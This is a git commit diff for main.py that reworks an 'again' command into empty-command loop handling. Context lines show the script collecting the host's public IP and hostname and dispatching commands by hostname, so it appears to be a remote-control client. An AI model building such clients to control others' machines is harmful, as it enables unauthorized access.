diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-08-30 01:44:52 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-08-30 01:44:52 +0800 |
| commit | 24b82deca2406240f4f56a83fa65fb85bebd0de6 (patch) | |
| tree | a2f947d508e519c57e66e874179ff10ce9dc771e | |
| parent | 601bb88c93884fbd4ab40fd46ecb373353c7eecd (diff) | |
make again feature in console
| -rw-r--r-- | main.py | 12 |
1 files changed, 9 insertions, 3 deletions
@@ -9,6 +9,7 @@ try: old_command = "" command = "" + loop = 0 ip = get('https://api.ipify.org').content.decode('utf8') hostname = uname()[1] @@ -53,9 +54,14 @@ while True: localcmd = None if old_command != command: try: - if command == "again": - old_command = None - continue + if command == "": + old_command = "" + if loop == 1: + loop = 0 + pass + else: + loop = 1 + continue if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: |
